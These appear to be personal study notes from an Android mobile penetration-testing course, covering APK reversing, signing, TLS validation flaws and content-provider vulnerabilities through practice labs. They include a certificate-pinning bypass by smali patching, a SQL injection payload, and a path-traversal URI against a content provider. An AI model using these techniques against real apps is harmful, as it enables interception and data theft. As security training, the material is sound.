System Applications - core system apps (email, messaging, calendars, contacts, ...)
Java API Framework - full feature-set of Android dedicated Java APIs
Native C/C++ Libraries - required native C/C++ libraries for Android system components and low-level processes (e.g. ART, HAL)
Android Runtime - virtual machines for each app (ART), core libraries (Java)
Hardware Abstraction Layer (HAL) - provides interfaces to expose device hardware capabilities using multiple library modules
Linux Kernel - hardware (drivers), memory, processes, power management
Android virtual machines are abstraction layers between an application and the Android device.
Android apps are written in Java, compiled into DEV (Dalvik EXecutable) bytecode. The Android VM runs the DEX bytecode directly compiled from the original Java. ART has more optimization features than the Dalvik VM.
DEX, ODEX, OAT
Native code can be used as well, instead of Java code.
Android Security Module layers:
UID Separation (installed apps isolated from one another)
App's security layer
Each app has a specific UID (User ID) - identity of the app. The app can access only owned files.
The Android Application Sandbox restricts access to its data by using Linux permissions, allowing only the app itself, OS specific components or the root user to interact with it.
implemented in the OS
separation of files and code execution between apps
each application runs a separate process under separate UID
SELinux was implemented with Android 5.0 - more secure than only UID Separation
adb shell to a rooted Android device and check the app's UID ownership:
# Requirements installsudodpkg--add-architecturei386sudoaptupdate-ysudoaptinstall-ylibc6:i386libncurses5:i386libstdc++6:i386lib32z1libbz2-1.0:i386# Android Studio installsudo wget https://redirector.gvt1.com/edgedl/android/studio/ide-zips/2023.1.1.26/android-studio-2023.1.1.26-linux.tar.gz -O /tmp/android-studio.tar.gz
sudotarxvfz/tmp/android-studio.tar.gz-C/optsudochmod+x/opt/android-studio/bin/*.shsudorm-f/tmp/android-studio.tar.gz# Run with:cd/opt/android-studio/bin./studio.sh# Tools > Create Desktop Entry# In case of Android Studio Internal Error at start, run these commands and reinstall itsudorm-rf~/.androidsudorm-rf~/.AndroidStudio
Android Studio can be used for testing and debugging over an ADB connection to a real device.
❗️ Please be aware that the source code resources (from INE) for this course lab cannot be compiled in Android Studio due to the use of an outdated Gradle version, and upgrading is not feasible.
# New Version<?xml version="1.0" encoding="utf-8"?><manifestxmlns:android="http://schemas.android.com/apk/res/android"package="com.appbrain.example"android:versionCode="30"android:versionName="5.10" > <uses-permissionandroid:name="android.permission.INTERNET" /> <uses-permissionandroid:name="android.permission.ACCESS_NETWORK_STATE" /> <applicationandroid:icon="@drawable/ic_launcher"android:label="@string/app_name"android:allowBackup="true"> <activityandroid:label="@string/app_name"android:name=".ExampleActivity"android:exported="true"> <intent-filter > <actionandroid:name="android.intent.action.MAIN" /> <categoryandroid:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activityandroid:name=".BannerActivity" /> <activityandroid:name=".ListAdsActivity" /><!-- Necessary AppBrain SDK entries are imported through the aar from gradle --> </application></manifest>
Classes.dex - a file in that contains the compiled bytecode of the Java source code used by the app.
/assets folder
HTML, fonts, mp3, text, image files
/lib folder
libraries and precompiled code
Linux shared object .so files (dev/third-party libraries)
the execution of forged .so files results in arbitrary code execution
/META-INF folder
app integrity and authenticity files
CERT.RSA - developer's signing certificate
CERT.SF - resources + hashes
MANIFEST.MF - resources and their SHA1
/res folder
resources not compiled into the resources.arsc file
While conducting an audit, be sure to review all source code files to assess their impact on the security of the application.
Code Signing
The APK signing process is essential for maintaining the security, integrity, and trustworthiness of Android applications throughout their lifecycle, from development to distribution and updates.
Validation of the identity of the author
Ensure code integrity
Developers create a keystore, containing cryptographic keys, specifying a private key for signing and a public key for verification - keytool
# keytool - Generate a private keykeytool-genkey-v-keystoretest.keystore-aliastestalias-keyalgRSA-keysize2048-validity10000
The developer uses the private key from the keystore to sign the APK - jarsigner
# jarsignerjarsigner-sigalgSHA1withRSA-digestalgSHA1-keystoretest.keystoretest.apktestalias# Check the signing statusjarsigner-verify-verbose-certstest.apk
This process generates a digital signature for the APK, ensuring its integrity and verifying that it comes from a trusted source.
# e.g. take a file hash from MANIFEST.MF file and check if it matches the original file hashopensslsha1-binaryres/file.png|opensslbase64
e.g. with the CERT.RSA file
# Convert DER to PEM - MSTG-Android-Java filesopensslpkcs7-informDER-print_certs-outcert.pem-inCERT.RSA
opensslx509-incert.pem-noout-text
MANIFEST.MF contains the hashes of the files themselves.
CERT.SF contains the hashes of the line of the MANIFEST.MF.
📌 Signing Private key must be protected to prevent compromise.
The signed APK must be aligned to optimize its structure for efficient installation on Android devices and enhanced overall performance.
zipalign-v4test_unaligned.apktest.apk
Reversing APKs
Reversing APKs refers to the process of decompiling, analyzing, and understanding the contents of a compiled application, from its original source code.
Code understanding
Security analysis
App's logic
Useful during black-box security assessment
apktool
apktool - A tool for reverse engineering Android apk files.
# Download JD-GUI .deb file and install itsudodpkg-ijd-gui-1.6.6.deb
e.g. - open and inspect example-dex2jar.jar into JD-gui
Save All Sources to save all the decompiled files into a zip archive
Smali / Backsmali
Android bytecode is in .dex format, that can be converted/disassembled into the smali code (assembly language).
smali is easier to understand than the bytecode.
smali/backsmali - assembler/disassembler for the dex format used by dalvik, Android's Java VM implementation.
Disassemble an app with backsmali, modify it and reassemble it with smali (app must be signed again).
# Download smali/backsmali jars from https://bitbucket.org/JesusFreke/smali/downloads/# Disassemble a .dex filejava-jar~/tools/baksmali-2.5.2.jardclasses.dex# check the "out" folder# Assemble a directory containing smali codejava-jar~/tools/smali-2.5.2.jarasource/
jadx / jadx-gui - Command line and GUI tools for producing Java source code from Android Dex and Apk files.
Main features:
decompile Dalvik bytecode to java classes from APK, dex, aar, aab and zip files
decode AndroidManifest.xml and other resources from resources.arsc
deobfuscator included
jadx-gui features:
view decompiled code with highlighted syntax
jump to declaration
find usage
full text search
smali debugger, check wiki page for setup and usage
Open the .apk
🧪 Practice Lab 1
e.g. - LocatingSecrets app debug
app-debug.apk is inside the /LocatingSecrets/app/build/outputs/apk/ directory
# Decode the APKapktooldapp-debug.apk
Check the AndroidManifest.xml
android.permission.INTERNET is required - app contacts a remote server
Access (MAIN activity - seen at app start), Files activities are used
# Convert APK to .jar filesh~/tools/dex-tools-v2.4/d2j-dex2jar.sh-fapp-debug.apk-oout_LocatingSecrets.jar# Open the .jar file with JD-GUI
Or open the app-debug.apk with Jadx-Gui
dex code is being automatically decompiled to java classes (pay attention to the decompiled code)
Opening out_LocatingSecrets.jar, onCreate method can be found with resource id of R.layout.activity_access
this id value can be found in the R file
res/layout/activity_access.xml - these elements build the first activity interface
The ACCESS button calls the access method
Gets and stores the input value into the code
This value is called and sent to the Files activity
Open the Files.class file and analyze the onCreate method
username and password are stored separately from the source code, in the string class
check res/values/strings.xml for the 2 parameters values (hard-coded credentials)
extra: using the 5v3f4g string, will access more files
🧪 Practice Lab 2
e.g. - BypassSecurityControls app debug
Review app's functionality, decode, decompile the app, extract critical information, identify how the PIN is calculated, access the restricted area
apktooldBypassSecurityControls.apksh~/tools/dex-tools-v2.4/d2j-dex2jar.sh-fBypassSecurityControls.apk-oBypassSecurityControls.jar# Open the .jar file with JD-GUI
AndroidManifest.xml
ELSApp - main activity
Admin - page accessible only with code
Verify - insert the code here
Verify.class - access method
editText - retrieve input
str1 - manipulated string
str3 - device ID, cut to 5 chars
str4 - user's value
str5 - value defined in the string Resources at strings.xml
At each iteration, the app appends to str1 the char at position i of the strings str3 and str5, in a sequence of pairs repeating 5 times.
The input string (str4) is compared with the manipulated string (str1). If they match, an activity is started for the Admin class.
strings.xml - find the str5 value under the node seed
check the value in the res/values/strings.xml - 5f247F
At the fifth iteration of the for statement, str1 will contain 5f247F.
Access the Admin area using 5f247F - not working on a physical device.
tm.getDeviceID is a number specific to the phone, IMEI / MEID HEX.
(This method was deprecated in API level 26)
e.g. In this case, using the first 5 chars of the IMEI (e.g. 35950) and the 5f247F string, the str4 must be: 53f5294570 and the actual code only 5 chars long is not working since the used phone has no call permission and getDeviceID is not working.
Since the dev_id_complete = 0000000000 the actual working code is 50f02
Obfuscation
Obfuscation is the process of deliberately making source code difficult to understand or reverse engineer.
Minifying code involves compressing and optimizing it by removing unnecessary elements like whitespace, comments, and unused code, enhancing efficiency and reducing the app size
Obfuscation does not guarantee security against skilled reverser
e.g.ProGuard can alter class, field and method names assigning them meaningless values
apktooldexample_obfuscated.apk# Do not decode sources (classes.dex)apktooldexample_obfuscated.apk-s
Hardware Optimization
Hardware optimization in mobile apps involves enhancing the utilization of a device's hardware resources to improve performance, efficiency and user experience.
.odex (optimized dex) - specific to hw platform, for pre-installed apps
OEM Apps
OEM Apps are pre-installed by the AOSP ROM, device manufacturer, cell phone provider.
usually located in the /system/app directory and commonly run with system / root permissions
classes.dex is already decompiled from dex to jar by Jadx.
check some of the Java classes inside owasp.sat.agoat
check for hardcoded strings, misconfiguration, code vulnerabilities
use Search tool
methods (onCreate, onReceive etc)
e.g. ShowDataReceiver class
The provided code snippet contains a BroadcastReceiver in Android named ShowDataReceiver that in the AndroidManifest.xml file has the attribute android:exported="true", meaning that ShowDataReceiver is exported and can be invoked by other apps
The Toast.makeText method includes a hardcoded message that reveals sensitive information - exposed credentials in app's code.
unzipAndroGoat.apk# Disassemble a .dex filejava-jar~/tools/baksmali-2.5.2.jardclasses.dex# check the "out" foldercdout/codeowasp/sat/agoat/ShowDataReceiver.smali# Assemble a directory containing smali codejava-jar~/tools/smali-2.5.2.jarasource/
Class Definition:
The class is defined as Lowasp/sat/agoat/ShowDataReceiver and extends android/content/BroadcastReceiver.
Constructor:
The constructor is defined to call the constructor of the superclass (android/content/BroadcastReceiver).
onReceive Method:
The onReceive method is implemented, which is invoked when the BroadcastReceiver receives a broadcast.
It takes two parameters: context (of type Landroid/content/Context;) and intent (of type Landroid/content/Intent;).
Annotations:
The Smali code includes metadata annotations (Lkotlin/Metadata;) generated from the Kotlin source code.
Annotations provide additional information about the Kotlin class, including its structure and methods.
Toast Message:
The onReceive method creates a Toast message displaying the hardcoded string "Username is CrazyUser, Password is CrazyPassword and Key is 123myKey456"
Parameter Checking:
Parameter checking is performed using the Intrinsics.checkParameterIsNotNull method to ensure that the context and intent parameters are not null.
Initialization:
The onReceive method initializes a Toast message and shows it using the makeText and show methods, respectively.
# SMALI ## ShowDataReceiver.smali #.classpublicfinalLowasp/sat/agoat/ShowDataReceiver;.superLandroid/content/BroadcastReceiver;.source"ShowDataReceiver.kt"# annotations.annotationruntimeLkotlin/Metadata;bv={0x1,0x0,0x3 }d1={ "\u0000\u001e\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\u0008\u0002\n\u0002\u0010\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\u0018\u00002\u00020\u0001B\u0005\u00a2\u0006\u0002\u0010\u0002J\u0018\u0010\u0003\u001a\u00020\u00042\u0006\u0010\u0005\u001a\u00020\u00062\u0006\u0010\u0007\u001a\u00020\u0008H\u0016\u00a8\u0006\t"
}d2={"Lowasp/sat/agoat/ShowDataReceiver;","Landroid/content/BroadcastReceiver;","()V","onReceive","","context","Landroid/content/Context;","intent","Landroid/content/Intent;","app_debug" }k=0x1mv={0x1,0x1,0x10 }.endannotation# direct methods.methodpublicconstructor<init>()V.registers1.line14invoke-direct{p0},Landroid/content/BroadcastReceiver;-><init>()Vreturn-void.endmethod# virtual methods.methodpubliconReceive(Landroid/content/Context;Landroid/content/Intent;)V.registers5.paramp1,"context"# Landroid/content/Context;.paramp2,"intent"# Landroid/content/Intent;const-stringv0,"context" invoke-static {p1, v0}, Lkotlin/jvm/internal/Intrinsics;->checkParameterIsNotNull(Ljava/lang/Object;Ljava/lang/String;)V
const-stringv0,"intent" invoke-static {p2, v0}, Lkotlin/jvm/internal/Intrinsics;->checkParameterIsNotNull(Ljava/lang/Object;Ljava/lang/String;)V
.line17const-stringv0,"Username is CrazyUser, Password is CrazyPassword and Key is 123myKey456"check-castv0,Ljava/lang/CharSequence;const/4v1,0x1 invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
move-result-objectv0invoke-virtual{v0},Landroid/widget/Toast;->show()V.line19return-void.endmethod
Network Traffic
TLS - All network requests from a mobile app should be using encryption, HTTPS (HTTP over TLS).
Good cryptography provides confidentially, integrity and authenticity.
Authenticity provided by x.509 (a standard defining the format of public-key certificates) certificates
Established organizations digital identity - prevents Man-in-the-Middle attacks
CSR (Certificate Signing Request) - an applicant sends a message (with the public key, identifying info and proof of authenticity) to the CA (Certificate Authority) of the PKI (public key infrastructure) in order to apply for a digital identify certificate. The CA verifies the real-world identity of the applicant.
The certificate validates the digital identity in the format of DNS hostnames (CAA).
With new the signed certificate, the applicant can present it to its software clients requesting identity verification
A Certificate Authority (CA) is a reliable third party. Each application maintains a list of authorities linking CAs to their unique public keys, dedicated solely for the purpose of certificate signing.
Validation
Identity stated in the certificate has to match the DNS hostname requested (wildcard match, etc), checked via Subject's Common Name
Verify proper certificate signing by CA in the trusted CA list
Period of Validity
Testing environment servers might lack valid certificates for the testing domains; however, this insecure configuration should not be deployed to the public or production environment.
Applications lacking proper certificate validation expose users to vulnerabilities. To exploit network weaknesses, an attacker positioned between the user and the site being accessed often manipulates ARP or DNS responses, causing traffic to be routed through the attacker's network.
Lack of hostname validation can be exploited by the attacker with a certificate signed by a CA trusted by the device
If case of CA not validated, the attacker can make and sign his own certificate
From the static analysis we can check when developers disable certificate validation, e.g. :
Creating an X509TrustManager that trust all certificates (invalid too)
Creating an insecure HostNameVerifier allowing all hostnames
Device - Manual proxy configuration on the device is necessary, to get the traffic through a pentester's proxy.
Host - configure the Proxy Listener to accept connections from on all the interfaces (not just the loopback 127.0.0.1).
The host and the device must be on the same network and able to communicate with each other.
To intercept HTTPS traffic using BurpSuite, the proxy's (e.g. BurpSuite "Portswigger CA") certificate must be trusted by the device (copy it to device and install from local storage)
Once the certificate is installed, HTTPS traffic is visible in the proxy (without certificate pinning implemented)
❗️ User installed CAs (proxy's certificate for example) are no longer trusted by default for apps with API Level 24+ (Android 7.0+)
Network Security Config can be used to customize the app's network security settings, and trust a custom set of CAs, implement certificate pinning, cleartext traffic opt-out, etc :
Decode the app (apktool)
Add network_security_config.xml to res/xml app's folder
Add the non-public/self-signed CA certificate (PEM or DER format), to res/raw/certname app's folder
Repackage and sign the app
🧪 Practice Lab 4
Objectives
Understand and reproduce common certificate validation vulnerabilities
Reverse apps and locate certificate validation vulns in the source code
Install the app.
adbinstallcom.outlook.apkadbinstallcom.ubercab
Capture network traffic with a proxy (Zaproxy, BurpSuite).
com.outlook.apk - HTTPS traffic visible, Outlook is trusting all certificates.
📌 even with a CA-signed certificate with a specific hostname or without a trusted certificate installed, this vulnerable Outlook app does not perform any kind of hostname validation or trusted CA check
com.ubercab - HTTPS traffic not captured and app errors "Network error"
Decode and decompile the apps.
apktooldcom.outlook.apkapktooldcom.ubercab.apk
📌 Open com.outlook.apk with Jadx-GUI
Check for HostNameVerifier misconfiguration.
Search for ALLOW_ALL and check the Connectivity class
This insecure aVar.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); implementation is the cause of the certificate validation vulnerability
Search for com.microsoft.live.AuthorizationRequest Class
This code is part of a WebView implementation, specifically within the onReceivedSslError method. This method is typically called when there is an SSL error during the loading of a web page over HTTPS. The SSL error is being ignored by calling handler.proceed() without any further checks or validations, and this might allow the WebView to continue loading the page despite SSL errors.
📌 Open com.ubercab.apk with Jadx-GUI
Check the UBTrustManager class for certificate validation vulnerabilities, and HostNameVerifier for host name validation issues.
This UBTrustManager defines a custom X509TrustManager named UBTrustManager that lacks proper certificate validation. The checkClientTrusted and checkServerTrusted methods do not contain any validation logic, making the trust manager susceptible to accepting any certificate without verification. This exposes the application to potential man-in-the-middle attacks
Check for HostNameVerifier misconfiguration.
Search for HostNameVerifier and check the com.google.api.client.http.apache.TrustAllSSLSocketFactory class
The class uses SslUtils.trustAllSSLContext() to obtain an SSLContext that trusts all certificates, effectively disabling SSL/TLS certificate validation.
The setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER) method is called, disabling hostname verification. This allows connections to hosts with different names than the one to which the certificate was issued
e.g. Mitigations:
Implement proper certificate validation checks instead of blindly trusting all certificates.
Enable hostname verification to ensure that the certificate matches the host.
Certificate Pinning
Certificate pinning is a security mechanism where applications validate a server's certificate against a predefined trusted set of certificates, public keys or issuers.
Prevents MITM attacks
In Android apps, certificates can be hardcoded, restricting the accepted certificates to a predefined set. Certificates/public keys must be knows and installed on the servers.
By pinning to a specific certificate/public key, all other certificates/public keys will be refused during the LS handshake.
A list of certs/keys should be pinned in the app and in the event of compromise, remove only the compromised one from the list.
Ensure protected backup certs/keys
Only trust a single CA
To test an app with certificate pinning implemented, it must be disabled by
reverse engineering and patching the certificate validation procedure class at .smali files level, repackage the app and install it
using Frida/Objection tools for SSL Unpinning
🧪 Practice Lab 5
Objectives
Understand cert pinning, its implementation and bypass
The PinTester lab app pins the certificate for https://www.elearnsecurity.com to a specific public key, using a library that pins by comparing a hex-encoded hash of an X.509 certificate's SubjectPublicKeyInfo field containing the public key. This exact public key (expected in the TLS handshake) has been hardcoded into the application.
Open PinTest.apk with Jadx-GUI and search for X509Certificate.
Open the org.thoughtcrime.ssl.pinning.PinningTrustManager class.
Static Pins: The public key pins (pins) are hardcoded in the PinningTrustManager constructor, limiting the app to accept only these specific certificates.
The constructor takes an array of strings (pins) representing the hexadecimal representation of public key hashes. These values are then converted to byte arrays using the hexStringToByteArray method and added to the pins list. The pins in this list are later used for comparison during the certificate pinning process in the isValidPin method.
SHA-1 Algorithm Usage: The code uses SHA-1 for hashing the public keys, which is considered weak and deprecated
Create a new Python script to generate SPKI pin hashes from X.509 files (based on the pin.py - moxie0 tool).
❗️ This method is considered insecure due to vulnerabilities of SHA-1 used in the script without any salt, making it vulnerable to collision attacks. Use it only for testing environment like this laboratory.
nano~/tools/pin3.py
#!/usr/bin/env python3"""pin generates SPKI pin hashes from X.509 PEM files."""""""Moxie Marlinspike" https://github.com/moxie0/AndroidPinning/blob/master/tools/pin.py Script upgraded to Python3**This method is considered insecure due to vulnerabilities of `SHA-1` used in the script without any salt, making it vulnerable to collision attacks. Use it only for testing environment like this laboratory.**
"""import sysimport binasciiimport hashlibfrom cryptography import x509from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serializationdefmain(argv):iflen(argv)<1:print("Usage: pin.py <certificate_path>")returnwithopen(argv[0], 'rb')as cert_file: cert_data = cert_file.read() cert = x509.load_pem_x509_certificate(cert_data, default_backend()) spki = cert.public_key().public_bytes( encoding=serialization.Encoding.DER, format=serialization.PublicFormat.SubjectPublicKeyInfo ) digest = hashlib.sha1() digest.update(spki)print("Calculating PIN for certificate: "+ cert.subject.rfc4514_string())print("Pin Value: "+ binascii.hexlify(digest.digest()).decode())if__name__=='__main__':main(sys.argv[1:])
Decompile, modify the string to c19e11308c73545ab7814fae1ebde8ad8f73ed1 in the MainActivity.smali file, recompile, sign and reinstall apk.
apktooldPinTester.apkcodePinTester/smali/com/elearnsecurity/android/pintest/MainActivity.smali# modify const-string v5, "8eb1d3f3eeec15af4bacad5ab6e8ea67b1a5f3a9" toconst-stringv5,"c19e11308c73545ab7814fae1ebde8ad8f73ed1"# Re-compile the appapktoolbPinTester/-oPinTester_new.apkI:UsingApktool2.9.2I:Checkingwhethersourceshaschanged...I:Checkingwhetherresourceshaschanged...I:Buildingresources...I:Buildingapkfile...I:Copyingunknownfiles/dir...I:Builtapkinto:PinTester_new.apk# Sign the app and install itkeytool-genkey-v-keystoretest.keystore-aliastestalias-keyalgRSA-keysize2048-validity10000jarsigner-sigalgSHA1withRSA-digestalgSHA1-keystoretest.keystorePinTester_new.apktestaliasjarsigner-verify-verbose-certsPinTester_new.apkadbinstallPinTester_new.apk
Testing the app, it crashes with FATAL EXCEPTION: AsyncTask #1 java.lang.RuntimeException: An error occurred while executing doIn Background() - I won't continue further troubleshooting in this notes.
The PatchMe lab app implements certificate pinning trusting https://wwww.bing.com certificate, based on this project https://github.com/ikust/hello-pinnedcerts. Bypass certificate pinning.
The best way to secure data in a mobile app is not to retain it at all.
Clear the local data whenever the app is closed / sign out
Use encryption on sensitive data, with secure storage of the keys
Internal Storage
Linux file permissions are used in Android OS.
/data/app/ - apps directory
/system/app/ - system apps directory
/system/priv-app/ - sensitive system apps directory
Files under the internal storage app's directory are accessible only to the app itself.
SharedPreferences - allows to save and retrieve data in the form of key-value pair, using the getSharedPreferences method, with the second parameter being the MODE
MODE_APPEND - append data to the end of the file
MODE_PRIVATE - the file can only be accessed using calling application (or same user ID app)
MODE_WORLD_READABLE (deprecated since API level 17) - allow other application to read the file
MODE_WORLD_WRITEABLE (deprecated since API level 17) - allow other application to write to the file
DataStore - allows to store key-value pairs or typed objects with protocol buffers. DataStore uses Kotlin coroutines and Flow to store data asynchronously, consistently, and transactionally.
External Storage
Removable SD Cards
/sdcard/ or /mnt/sdcard/ - Emulated SD Card
Android defines the following storage-related permissions:
MANAGE_EXTERNAL_STORAGE - allows an application a broad access to external storage in scoped storage
On Android 4.4 (API level 19) or higher, your app doesn't need to request any storage-related permissions to access app-specific directories within external storage. The files stored in these directories are removed when your app is uninstalled.
On devices that run Android 9 (API level 28) or lower, your app can access the app-specific files that belong to other apps, provided that your app has the appropriate storage permissions.
To give users more control over their files and to limit file clutter, apps that target Android 10 (API level 29) and higher are given scoped access into external storage, or scoped storage, by default. When scoped storage is enabled, apps cannot access the app-specific directories that belong to other apps.
🧪 Practice Lab 6
Objectives
Understand level of data storage security on various Android API levels
Install labs apps to the (emulated) devices (one with API Level <=17, one with API Level >17).
With the InsecureExternalStorage app it saves a file in the /sdcard/Android/data/com.els.insecureexternalstorage/files/FileContainer directory.
With the ReadExternalStorage app tries to read the file.
📌 Device with API Level 17 (Android 4.2) or lower, any files stored by an application in the external storage are accessible by other applications on the device.
📌 Device with API Level over 17 (e.g. Android 9), any files stored by an application in the external storage is not accessible by other applications on the device. (Permission denied error)
Device Administration API
Companies can use MDM (Mobile Device Management) software solutions to maintain a measure of control to protect sensitive data on corporate or personal devices (BYOD - Bring your own device).
An MDM app must be installed for administrators remote control. MDM uses built-in Android features (Device Administration API) to:
enforce password policy
force storage encryption
enable remote wiping
detect rooted device
control installed software, etc
Root Detection
Rooting - obtain root (superuser) access on Android (same as Linux)
full control over the device
app's with root permission can interact with data outside of its directory - device at risk
SDK (Software Development Kits) - classe or jar files used to interface with code written by third-parties. SDKs must be coming from reputable sources.
A pentester must understand which SDKs are included in the app and what functionalities they offer or known vulnerabilities.
Libraries - the use of third-party libraries is common and they can introduce vulnerabilities (e.g.Heartbleed).
track the use of libs, update regularly
crate an inventory of those libraries
Device Tracking is used sometimes to track users' behavior or for DRM purposes, through unique identifiers like the MAC Address, IMEI, Serial Number, Android ID, etc.
Tracking/Advertising standards
Tapjacking
Tapjacking on Android refers to a type of user interface (UI) attack where an attacker overlays a malicious UI element on top of a legitimate app's interface, tricking users into unintended interactions by tapping on seemingly harmless elements that actually perform malicious actions.
🔗 Read Tapjacking-ExportedActivity Attack app - by HackTricks - This project is an Android application that will start by launching the indicated exported application and then it will put on the foreground a malicious application that will be changing what the user is looking at while the user is actually interacting with the malicious application.
In the AndroidManifest.xml Check the presence of explicitly exported activities (android:exported="true") and implicitly exported (using an intent-filter)
filterTouchesWhenObscured="true" attribute would prevent the exploitation of this vulnerability. If set to true, the view will not receive touches whenever view's windows is obscured.
Static Code Analysis
Static Code Analysis is the examination of the application source code, without executing the program.
mapping the sources of potential attacker controlled input, determine all the sinks, and checking whether the input encounters a sensitive function
components trust one another, but the user/attacker should not be trusted
trust boundary - line between the user and all internal portions of an app
sanitize the inputs through intermediate steps
Creating a threat model for Android apps requires enumerating unprotected exported components and monitoring the flow of Intents and Extras throughout the application.
AndroidManifest.xml specifies the Intents and Extras that our apps will accept as input from other applications on the device. It also defines the behavior of the WebViews, File storage and which components are exposed to attacks. In addition, untrusted input is the active content (JavaScript) rendered in WebViews.
Unencrypted transport layer is considered a potentially untrusted input.
This receiver is implicitly exported due to the intent-filter presence. Since it's not protected, any other app can pass an Intent to it and trigger the receiver.
The onReceive method retrieves Extras from the Intent using Bundle bundle = arg1.getExtras(). The values of those Extras are used in the sendTextMessage sensitive method (it allows an application to send SMS messages without user interaction).
Vulnerability
Any app on the device can broadcast the org.owasp.goatdroid.fourgoats.SOCIAL_SMS action, triggering the SendSMSNowReceiver to send SMS messages.
An attacker can craft broadcasts with arbitrary content for the phoneNumber and message Extras, potentially leading to SMS spoofing.
If the source-sink is user-controllable input, there exists a potential vulnerability known as SQL Injection, where the sink is the query itself (input not sanitized, etc) being altered.
SQL Query: Projection (select specific table columns) + Selection ("where", select specific table rows based on a condition)
SELECT * FROM table_name WHERE condition;
If the construction of the selection string lacks parameterization, it becomes susceptible to SQL Injection.
Parameterized queries, or prepared statements, are SQL queries in which placeholders are used for parameters instead of directly inserting values into the query string. Parameterized queries help to sanitize input data and protect against malicious input that could manipulate the SQL query structure.
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?;", (input_username, input_password))
e.g. of vulnerable query
"SELECT * FROM Users WHERE name = '" + uName +"' AND pass = '" + uPass +"'";
# This vulnerable query could become
"SELECT * FROM Users WHERE name = 'admin'-- ' AND pass = '" + uPass +"'";
# -- = comment
# The query will be
SELECT * FROM Users WHERE name = 'admin';
# password portion will be ignored
Content Resolver / Provider
ContentResolver - This class provides applications access to the content model. It acts as an intermediary between the application and the Content Provider, allowing the application to perform various operations on data stored in the Android system.
It resolves content URIs (Uniform Resource Identifier) to the corresponding content provider, allowing applications to specify the data they want to access
CRUD (create, retrieve, update, delete) operations are available via content URIs
these map to specific methods on the Content Resolver object - insert, query, update, delete
they map the content URIs to a specific Content Providers
content://authority/path/id URI format
content://com.android.contacts/contacts
// Example of a content URI for accessing contacts data
Uri contactsUri = ContactsContract.Contacts.CONTENT_URI;
// This content URI uniquely identifies the contacts data in the Contacts content provider
Content Providers - facilitate structured data sharing among applications by defining a uniform and secure interface for data retrieval and manipulation.
Content providers may be exposed to other apps
<!-- Define a custom permission -->
<permission
android:name="com.example.myapp.permission.MY_CUSTOM_PERMISSION"
android:protectionLevel="signature" />
<!-- Use the custom permission for a Content Provider -->
<provider
android:name=".MyContentProvider"
android:authorities="com.example.myapp.myprovider"
android:exported="true"
android:permission="com.example.myapp.permission.MY_CUSTOM_PERMISSION">
</provider>
<!-- Request the custom permission in another component -->
<uses-permission android:name="com.example.myapp.permission.MY_CUSTOM_PERMISSION" />
Control dynamic access to content URIs by using various attributes in the <provider> element of the AndroidManifest.xml file, carefully configuring these attributes.
android:exported:
android:permission: - permission that clients must have to access the content provider
android:readPermission:
android:writePermission:
etc
<grant-uri-permission> sub-element in the <provider> element is used to specify additional URI patterns for which other apps can be granted temporary permissions to access the content provider. This element is often used in conjunction with the android:exported attribute to control access to specific URIs within the provider.
<provider
android:name=".MyContentProvider"
android:authorities="com.example.myapp.myprovider"
android:exported="false">
<!-- Granting URI permissions to specific paths -->
<grant-uri-permission android:path="/specificPath/*" />
<grant-uri-permission android:pathPattern="/specificPath/*" />
<grant-uri-permission android:pathPrefix="/anotherPath/*" />
</provider>
<!-- In this example, the `<grant-uri-permission>` element specifies two URI patterns ("/specificPath/*" and "/anotherPath/*") for which other apps can be granted temporary permissions to access the content provider. -->
🧪 Practice Lab 8
InjectMe app lab files will be used.
Objectives
Enumerate URIs and exploit the app's content provider to inject SQL query.
Decompile the app and examine the source code. Identify content URI in the application and as much as possible about the app's attack surface.
Physical Local Attacks - On devices with API Levels 8 - 23, Content providers can be queried from a privileged context (e.g. ADB shell) even if android:exported="false", but not on devices with API Level 24+
The content provider is accessible by third-party apps with no permissions, on devices with API Level <17 (since the content provider is explicitly exported)
To enumerate all the content URIs extract classes.dex file from the built apk and check it with strings command
Explore the CredentialProvider.java class in the source code
Check the source code for Query (retrieve) methods, parameterized queries or input sanitization.
switch statement - as long as the URI is valid, it will match one of the two options and take the URI input into the query
The code concatenates the uri.getLastPathSegment() directly into the SQL query for the CREDENTIALS_ID case. If the getLastPathSegment() method returns user-controlled input, it could lead to SQL injection vulnerabilities. There is no explicit usage of parameterized queries or input sanitization.
The code logs information using Log.v("InjectMe", ...). Logging sensitive information like database queries or IDs might expose details to potential attackers
Exploit the vulnerability, by interacting with the insecure content provider.
Try the same on an Android 6 (API level 23) device, permissions should be granted.
Path Traversal
Path traversal is a security vulnerability where an attacker manipulates file paths to access unauthorized directories or files.
This vulnerability impacts Android content providers and services, enabling exploitation by other applications with the ability to read data from the affected app.
# Adobe Reader e.g.
content://com.adobe.reader.fileprovider/../../../file_to_read
🧪 Practice Lab 9
FileBrowser app lab files will be used.
Objectives
Exploit app's user input sanitization to perform a path traversal attack
Create a POC (Proof of Concept) exploit app FileBrowserExploit.apk
Install both FileBrowser.apk and FileBrowserExploit.apk
FileBrowser.apk allows to read the contents of different files stored on the SD card
# Focus on
<provider
android:name="com.els.filebrowser.accessfile"
android:enabled="true"
android:exported="true"
android:authorities="com.els.filebrowser"
android:grantUriPermissions="true"
/>
Examine source code for possible user input sanitization inefficiencies.
The content provider of the application is explicitly exposed and provides file operations. Through this content provider implementation, file access to the application (or other apps) is granted when provided with a URI.
It has to implement the openFile method (accessfile class)
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
int uriType = sURIMatcher.match(uri);
if (uriType == 10) {
throw new FileNotFoundException(uri.getPath());
}
File f = new File(uri.getPath()); //get file located in the specified URI path
if (f.exists()) {
return ParcelFileDescriptor.open(f, 268435456);
} // if file exists, return it
throw new FileNotFoundException(uri.getPath());
}
The method, when provided with a URI, returns a ParcelFileDescriptor file object, allowing the application to perform operations on it.
The File object is created directly from the URI path without proper validation, allowing the possibility of directory traversal attacks.
# Focus on
<activity android:name="com.els.filebrowser.Content"/>
Opening the Content class, check how the app opens and reads a file.
package com.els.filebrowser;
